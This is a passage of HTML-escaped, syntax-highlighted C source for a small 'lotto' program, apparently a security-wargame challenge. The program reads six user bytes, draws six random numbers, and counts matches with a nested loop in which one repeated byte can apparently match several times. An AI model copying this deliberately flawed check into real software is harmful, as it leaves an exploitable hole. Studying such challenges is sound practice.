style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;71&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;72&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;73&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;74&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;75&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;76&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;77&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;78&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;79&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;80&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;81&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;82&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;83&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;84&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;85&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;86&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;87&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;88&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;89&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;90&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;91&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;92&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;93&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;94&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;95&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;96&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdlib.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fcntl.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;submit[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;play(){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;i;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Submit&amp;nbsp;your&amp;nbsp;6&amp;nbsp;lotto&amp;nbsp;bytes&amp;nbsp;:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fflush(stdout);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;r;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;read(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;submit,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Lotto&amp;nbsp;Start!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//sleep(1);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;generate&amp;nbsp;lotto&amp;nbsp;numbers&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;fd&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;open(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/dev/urandom&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;O_RDONLY);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(fd&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;error.&amp;nbsp;tell&amp;nbsp;admin\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;lotto[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(read(fd,&amp;nbsp;lotto,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;error2.&amp;nbsp;tell&amp;nbsp;admin\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lotto[i]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(lotto[i]&amp;nbsp;%&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;45&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;1&amp;nbsp;~&amp;nbsp;45&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(fd);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;calculate&amp;nbsp;lotto&amp;nbsp;score&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;match&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;j&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(j&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;j&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;j&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(lotto[i]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;submit[j]){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;match&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span 